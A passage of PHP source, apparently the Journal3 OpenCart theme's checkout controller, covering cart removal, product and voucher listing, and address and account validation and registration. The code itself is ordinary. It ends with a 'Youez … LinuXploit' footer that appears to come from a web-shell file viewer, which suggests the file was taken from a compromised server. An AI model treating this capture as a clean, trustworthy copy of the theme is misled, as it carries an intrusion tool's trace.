		} else {
			$json['redirect'] = $this->model_journal3_links->url('checkout/cart', '', true);
		}

		$this->renderJson('success', $json);
	}

	public function cart_delete() {
		if (!$this->model_journal3_checkout->checkCheckoutId(Arr::get($this->request->post, 'checkout_id'))) {
			$json['redirect'] = $this->url->link('checkout/checkout', '', true);
			$this->renderJson('success', $json);

			return;
		}

		$key = Arr::get($this->request->post, 'key');

		$this->cart->remove($key);

		unset($this->session->data['vouchers'][$key]);

		$json = array();

		if ($this->checkCart()) {
			$json = $this->getCheckoutData($this->model_journal3_checkout->update());
		} else {
			$json['redirect'] = $this->model_journal3_links->url('checkout/cart', '', true);
		}

		$this->renderJson('success', $json);
	}

	public function payment() {
		$this->response->setOutput($this->load->controller('extension/payment/' . Arr::get($this->session->data, 'payment_method.code')));
	}

	private function totals($totals) {
		$result = array();

		foreach ($totals as $total) {
			$result[] = array(
				'title' => $total['title'],
				'text'  => $this->currency->format($total['value'], $this->session->data['currency']),
			);
		}

		return $result;
	}

	private function vouchers() {
		$result = array();

		if (!empty($this->session->data['vouchers'])) {
			foreach ($this->session->data['vouchers'] as $key => $voucher) {
				$result[] = array(
					'key'         => $key,
					'description' => $voucher['description'],
					'amount'      => $this->currency->format($voucher['amount'], $this->session->data['currency']),
					'remove'      => $this->url->link('checkout/cart', 'remove=' . $key),
				);
			}
		}

		return $result;
	}

	private function products() {
		$result = array();

		foreach ($this->cart->getProducts() as $product) {
			$option_data = array();

			foreach ($product['option'] as $option) {
				if ($option['type'] != 'file') {
					$value = $option['value'];
				} else {
					$upload_info = $this->model_tool_upload->getUploadByCode($option['value']);

					if ($upload_info) {
						$value = $upload_info['name'];
					} else {
						$value = '';
					}
				}

				$option_data[] = array(
					'name'  => $option['name'],
					'value' => (utf8_strlen($value) > 20 ? utf8_substr($value, 0, 20) . '..' : $value),
				);
			}

			$recurring = '';

			if ($product['recurring']) {
				$frequencies = array(
					'day'        => $this->language->get('text_day'),
					'week'       => $this->language->get('text_week'),
					'semi_month' => $this->language->get('text_semi_month'),
					'month'      => $this->language->get('text_month'),
					'year'       => $this->language->get('text_year'),
				);

				if ($product['recurring']['trial']) {
					$recurring = sprintf($this->language->get('text_trial_description'), $this->currency->format($this->tax->calculate($product['recurring']['trial_price'] * $product['quantity'], $product['tax_class_id'], $this->config->get('config_tax')), $this->session->data['currency']), $product['recurring']['trial_cycle'], $frequencies[$product['recurring']['trial_frequency']], $product['recurring']['trial_duration']) . ' ';
				}

				if ($product['recurring']['duration']) {
					$recurring .= sprintf($this->language->get('text_payment_description'), $this->currency->format($this->tax->calculate($product['recurring']['price'] * $product['quantity'], $product['tax_class_id'], $this->config->get('config_tax')), $this->session->data['currency']), $product['recurring']['cycle'], $frequencies[$product['recurring']['frequency']], $product['recurring']['duration']);
				} else {
					$recurring .= sprintf($this->language->get('text_payment_cancel'), $this->currency->format($this->tax->calculate($product['recurring']['price'] * $product['quantity'], $product['tax_class_id'], $this->config->get('config_tax')), $this->session->data['currency']), $product['recurring']['cycle'], $frequencies[$product['recurring']['frequency']], $product['recurring']['duration']);
				}
			}

			if ($product['image']) {
				$thumb = $this->model_journal3_image->resize($product['image'], $this->journal3->themeConfig('image_cart_width'), $this->journal3->themeConfig('image_cart_height'));
				$thumb2x = $this->model_journal3_image->resize($product['image'], $this->journal3->themeConfig('image_cart_width') * 2, $this->journal3->themeConfig('image_cart_height') * 2);
			} else {
				$thumb = '';
				$thumb2x = '';
			}

			$result[] = array(
				'cart_id'    => $product['cart_id'],
				'product_id' => $product['product_id'],
				'name'       => $product['name'],
				'model'      => $product['model'],
				'option'     => $option_data,
				'recurring'  => $recurring,
				'quantity'   => $product['quantity'],
				'stock'      => $product['stock'] ? true : !(!$this->config->get('config_stock_checkout') || $this->config->get('config_stock_warning')),
				'subtract'   => $product['subtract'],
				'price'      => $this->currency->format($this->tax->calculate($product['price'], $product['tax_class_id'], $this->config->get('config_tax')), $this->session->data['currency']),
				'total'      => $this->currency->format($this->tax->calculate($product['price'], $product['tax_class_id'], $this->config->get('config_tax')) * $product['quantity'], $this->session->data['currency']),
				'href'       => str_replace('&amp;', '&', $this->url->link('product/product', 'product_id=' . $product['product_id'])),
				'thumb'      => $thumb,
				'thumb2x'    => $thumb2x,
			);
		}

		return $result;
	}

	private function checkCart() {
		if ((!$this->cart->hasProducts() && empty($this->session->data['vouchers'])) || (!$this->cart->hasStock() && !$this->config->get('config_stock_checkout'))) {
			return false;
		}

		$products = $this->cart->getProducts();

		foreach ($products as $product) {
			$product_total = 0;

			foreach ($products as $product_2) {
				if ($product_2['product_id'] == $product['product_id']) {
					$product_total += $product_2['quantity'];
				}
			}

			if ($product['minimum'] > $product_total) {
				return false;
			}
		}

		return true;
	}

	private function getCustomerGroups() {
		$results = array();

		if (is_array($this->config->get('config_customer_group_display'))) {
			$customer_groups = $this->model_account_customer_group->getCustomerGroups();

			foreach ($customer_groups as $customer_group) {
				if (in_array($customer_group['customer_group_id'], $this->config->get('config_customer_group_display'))) {
					$results[] = $customer_group;
				}
			}
		}

		return $results;
	}

	private function getCountries() {
		$countries = $this->model_localisation_country->getCountries();

		$result = array();

		foreach ($countries as $country) {
			$result[] = array(
				'country_id' => $country['country_id'],
				'name'       => $country['name'],
			);
		}

		return $result;
	}

	private function getZones($country_id) {
		$zones = $this->model_localisation_zone->getZonesByCountryId($country_id);

		$result = array();

		foreach ($zones as $zone) {
			$result[] = array(
				'zone_id' => $zone['zone_id'],
				'name'    => $zone['name'],
			);
		}

		return $result;
	}

	private function getCheckoutData($data) {
		if ($this->customer->isLogged()) {
			$customer_id = $this->customer->getId();
			$addresses = $this->model_account_address->getAddresses();
		} else {
			$customer_id = '';
			$addresses = array();
		}

		$total_items = $this->cart->countProducts() + (isset($this->session->data['vouchers']) ? count($this->session->data['vouchers']) : 0);

		return array(
			'stock_warning'              => !$this->cart->hasStock() && $this->config->get('config_stock_warning'),
			'shipping_required'          => $this->cart->hasShipping(),
			'account'                    => $this->session->data['account'],
			'login_email'                => '',
			'login_password'             => '',
			'guest'                      => (bool)$this->config->get('config_checkout_guest') && !$this->cart->hasDownload(),
			'same_address'               => $this->session->data['same_address'],
			'password'                   => '',
			'password2'                  => '',
			'customer_id'                => $customer_id,
			'addresses'                  => $addresses,
			'order_data'                 => $data,
			'custom_fields'              => $data['custom_fields'],
			'payment_address_type'       => $addresses ? 'existing' : 'new',
			'shipping_address_type'      => $addresses ? 'existing' : 'new',
			'shipping_methods'           => $this->session->data['shipping_methods'],
			'payment_methods'            => $this->session->data['payment_methods'],
			'countries'                  => $this->getCountries(),
			'shipping_zones'             => $this->getZones($data['shipping_country_id']),
			'payment_zones'              => $this->getZones($data['payment_country_id']),
			'products'                   => $this->products(),
			'vouchers'                   => $this->vouchers(),
			'totals'                     => $this->totals($data['totals']),
			'total'                      => sprintf($this->language->get('text_items'), $total_items, $this->journal3->currencyFormat($data['total'])),
			'total_items'                => $total_items,
			'coupon_status'              => $this->config->get($this->journal3->isOC2() ? 'coupon_status' : 'total_coupon_status'),
			'coupon'                     => Arr::get($this->session->data, 'coupon'),
			'voucher_status'             => $this->config->get($this->journal3->isOC2() ? 'voucher_status' : 'total_voucher_status'),
			'voucher'                    => Arr::get($this->session->data, 'voucher'),
			'reward_status'              => $this->config->get($this->journal3->isOC2() ? 'reward_status' : 'total_reward_status'),
			'reward'                     => Arr::get($this->session->data, 'reward'),
			'newsletter'                 => $this->session->data['newsletter'],
			'agree'                      => false,
			'privacy'                    => false,
			'session'                    => $this->journal3->isDev() ? $this->session->data : null,
			'error'                      => null,
			'cart'                       => $this->load->controller('common/cart'),
			'quickCheckoutPaymentsPopup' => array_map('trim', explode(',', $this->journal3->settings->get('quickCheckoutPaymentsPopup'))),
			'coupon_message'             => null,
			'voucher_message'            => null,
			'reward_message'             => null,
		);
	}

	private function validateInformation($type) {
		return $this->request->post[$type] === 'true';
	}

	private function validateAccount($custom_fields) {
		$error = array();

		// email
		if ((utf8_strlen(Arr::get($this->request->post, 'order_data.email')) > 96) || !filter_var(Arr::get($this->request->post, 'order_data.email'), FILTER_VALIDATE_EMAIL)) {
			$error['email'] = $this->language->get('error_email');
		} else if (($this->session->data['account'] === 'register') && $this->model_account_customer->getTotalCustomersByEmail(Arr::get($this->request->post, 'order_data.email'))) {
			$error['email'] = $this->language->get('error_exists');
		}

		// telephone
		if ($this->journal3->settings->get('quickCheckoutAccountTelephoneField') === 'required') {
			if ((utf8_strlen(Arr::get($this->request->post, 'order_data.telephone')) < 1) || (utf8_strlen(Arr::get($this->request->post, 'order_data.telephone')) > 32)) {
				$error['telephone'] = $this->language->get('error_telephone');
			}
		}

		// passwords
		if ($this->session->data['account'] === 'register') {
			if ((utf8_strlen(Arr::get($this->request->post, 'password')) < 4) || (utf8_strlen(Arr::get($this->request->post, 'password')) > 20)) {
				$error['password'] = $this->language->get('error_password');
			}

			if (Arr::get($this->request->post, 'password2') != Arr::get($this->request->post, 'password')) {
				$error['password2'] = $this->language->get('error_confirm');
			}
		}

		foreach (Arr::get($custom_fields, 'custom_fields.account', array()) as $custom_field) {
			$value = Arr::get($this->request->post, 'order_data.custom_field.' . $custom_field['custom_field_id']);

			if ($custom_field['required'] && empty($value)) {
				$error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
			} elseif (($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($value, FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
				$error['custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
			}
		}

		return $error;
	}

	private function validateAddress($type, $custom_fields) {
		// do not validate existing address, may create issues if fields are required after address has been registered
		if (
			$this->customer->isLogged()
			&& Arr::get($this->session->data, $type . '_address.address_id')
			&& Arr::get($this->session->data, $type . '_address_type') === 'existing'
		) {
			return array();
		}

		$error = array();

		// firstname
		if (!$this->customer->isLogged() && $type === 'payment') {
			if ($this->journal3->settings->get('quickCheckoutAccountFirstNameField') === 'required') {
				if ((utf8_strlen(Arr::get($this->session->data, $type . '_address.firstname')) < 1) || (utf8_strlen(Arr::get($this->session->data, $type . '_address.firstname')) > 32)) {
					$error[$type . '_firstname'] = $this->language->get('error_firstname');
				}
			}
		} else {
			if ($this->journal3->settings->get('quickCheckoutAddressFirstNameField') === 'required') {
				if ((utf8_strlen(Arr::get($this->session->data, $type . '_address.firstname')) < 1) || (utf8_strlen(Arr::get($this->session->data, $type . '_address.firstname')) > 32)) {
					$error[$type . '_firstname'] = $this->language->get('error_firstname');
				}
			}
		}

		// lastname
		if (!$this->customer->isLogged() && $type === 'payment') {
			if ($this->journal3->settings->get('quickCheckoutAccountLastNameField') === 'required') {
				if ((utf8_strlen(Arr::get($this->session->data, $type . '_address.lastname')) < 1) || (utf8_strlen(Arr::get($this->session->data, $type . '_address.lastname')) > 32)) {
					$error[$type . '_lastname'] = $this->language->get('error_lastname');
				}
			}
		} else {
			if ($this->journal3->settings->get('quickCheckoutAddressLastNameField') === 'required') {
				if ((utf8_strlen(Arr::get($this->session->data, $type . '_address.lastname')) < 1) || (utf8_strlen(Arr::get($this->session->data, $type . '_address.lastname')) > 32)) {
					$error[$type . '_lastname'] = $this->language->get('error_lastname');
				}
			}
		}

		// address
		if ($this->journal3->settings->get('quickCheckoutAddressCompanyField') === 'required') {
			if ((utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.company'))) < 1)) {
				$error[$type . '_company'] = $this->language->get('error_company');
			}
		}

		if ($this->journal3->settings->get('quickCheckoutAddressAddress1Field') === 'required') {
			if ((utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.address_1'))) < 3) || (utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.address_1'))) > 128)) {
				$error[$type . '_address_1'] = $this->language->get('error_address_1');
			}
		}

		if ($this->journal3->settings->get('quickCheckoutAddressAddress2Field') === 'required') {
			if ((utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.address_2'))) < 3) || (utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.address_2'))) > 128)) {
				$error[$type . '_address_2'] = $this->language->get('error_address_2');
			}
		}

		if ($this->journal3->settings->get('quickCheckoutAddressCityField') === 'required') {
			if ((utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.city'))) < 2) || (utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.city'))) > 128)) {
				$error[$type . '_city'] = $this->language->get('error_city');
			}
		}

		$country_info = $this->model_localisation_country->getCountry(Arr::get($this->session->data, $type . '_address.country_id'));

		if ($this->journal3->settings->get('quickCheckoutAddressPostcodeField') === 'required') {
			if ($country_info && $country_info['postcode_required'] && (utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.postcode'))) < 2 || utf8_strlen(trim(Arr::get($this->session->data, $type . '_address.postcode'))) > 10)) {
				$error[$type . '_postcode'] = $this->language->get('error_postcode');
			}
		}

		if ($this->journal3->settings->get('quickCheckoutAddressCountryField') === 'required') {
			if (!Arr::get($this->session->data, $type . '_address.country_id')) {
				$error[$type . '_country'] = $this->language->get('error_country');
			}
		}

		if ($this->journal3->settings->get('quickCheckoutAddressRegionField') === 'required') {
			if (!Arr::get($this->session->data, $type . '_address.zone_id')) {
				$error[$type . '_zone'] = $this->language->get('error_zone');
			}
		}

		foreach (Arr::get($custom_fields, 'custom_fields.address', array()) as $custom_field) {
			$value = Arr::get($this->request->post, 'order_data.' . $type . '_custom_field.' . $custom_field['custom_field_id']);

			if ($custom_field['required'] && empty($value)) {
				$error[$type . '_custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
			} elseif (($custom_field['type'] == 'text') && !empty($custom_field['validation']) && !filter_var($value, FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => $custom_field['validation'])))) {
				$error[$type . '_custom_field'][$custom_field['custom_field_id']] = sprintf($this->language->get('error_custom_field'), $custom_field['name']);
			}
		}

		return $error;
	}

	private function registerGuest($order_data) {
		$account_data = array();
		$payment_address = array();
		$shipping_address = array();

		foreach ($order_data as $key => $value) {
			if ($key === 'custom_field') {
				$value = array('account' => $value);
			} else if (($key === 'payment_custom_field') || ($key === 'shipping_custom_field')) {
				$value = array('address' => $value);
			}

			if (Str::startsWith($key, 'payment_')) {
				$payment_address[str_replace('payment_', '', $key)] = $value;
			} else if (Str::startsWith($key, 'shipping_')) {
				$shipping_address[str_replace('shipping_', '', $key)] = $value;
			} else if (in_array($key, array('firstname', 'lastname', 'email', 'telephone', 'fax', 'custom_field', 'customer_group_id'))) {
				$account_data[$key] = $value;
			}
		}

		if (Arr::get($this->request->post, 'newsletter') === 'true') {
			if (!$this->model_journal3_newsletter->isSubscribed($order_data['email'])) {
				$this->model_journal3_newsletter->subscribe($order_data['email']);
			}
		} else {
			if ($this->model_journal3_newsletter->isSubscribed($order_data['email'])) {
				$this->model_journal3_newsletter->unsubscribe($order_data['email']);
			}
		}

		$this->session->data['guest'] = $account_data;
	}

	private function registerAccount($order_data) {
		$order_data['password'] = $this->request->post['password'];

		$account_data = array();
		$payment_address = array();
		$shipping_address = array();

		foreach ($order_data as $key => $value) {
			if ($key === 'custom_field') {
				$value = array('account' => $value);
			} else if (($key === 'payment_custom_field') || ($key === 'shipping_custom_field')) {
				$value = array('address' => $value);
			}

			if (Str::startsWith($key, 'payment_')) {
				$payment_address[str_replace('payment_', '', $key)] = $value;
			} else if (Str::startsWith($key, 'shipping_')) {
				$shipping_address[str_replace('shipping_', '', $key)] = $value;
			} else if (in_array($key, array('firstname', 'lastname', 'email', 'telephone', 'fax', 'custom_field', 'customer_group_id', 'password', 'company'))) {
				$account_data[$key] = $value;
			}
		}

		$account_data['newsletter'] = Arr::get($this->request->post, 'newsletter') === 'true';

		if ($this->journal3->isOC2()) {
			$customer_id = $this->model_account_customer->addCustomer(Arr::merge($account_data, $payment_address));

			if (!$this->session->data['same_address']) {
				$this->model_journal3_checkout->addAddress($customer_id, $shipping_address);
			}
		} else {
			$customer_id = $this->model_account_customer->addCustomer($account_data);

			$address_id = $this->model_account_address->addAddress($customer_id, $payment_address);

			$this->model_account_customer->editAddressId($customer_id, $address_id);

			if (!$this->session->data['same_address']) {
				$this->model_account_address->addAddress($customer_id, $shipping_address);
			}
		}

		$this->model_journal3_checkout->editCustomerId($customer_id);

		$this->model_account_customer->deleteLoginAttempts($order_data['email']);

		$customer_group_info = $this->model_account_customer_group->getCustomerGroup($order_data['customer_group_id']);

		if ($customer_group_info && !$customer_group_info['approval']) {
			$this->customer->login($order_data['email'], $order_data['password']);
		} else {
			return $this->url->link('account/success');
		}

		return null;
	}

	private function addAccountAddress($type) {
		$address = $this->model_journal3_checkout->extract_address($type, $this->model_journal3_checkout->get_address($type));

		if ($this->journal3->isOC2()) {
			$this->model_account_address->addAddress($address);
		} else {
			$custom_field = $address['custom_field'];
			unset($address['custom_field']);
			$address['custom_field']['address'] = $custom_field;

			$address_id = $this->model_account_address->addAddress($this->customer->getId(), $address);

			if (!$this->customer->getAddressId()) {
				$this->model_account_customer->editAddressId($this->customer->getId(), $address_id);
			}
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit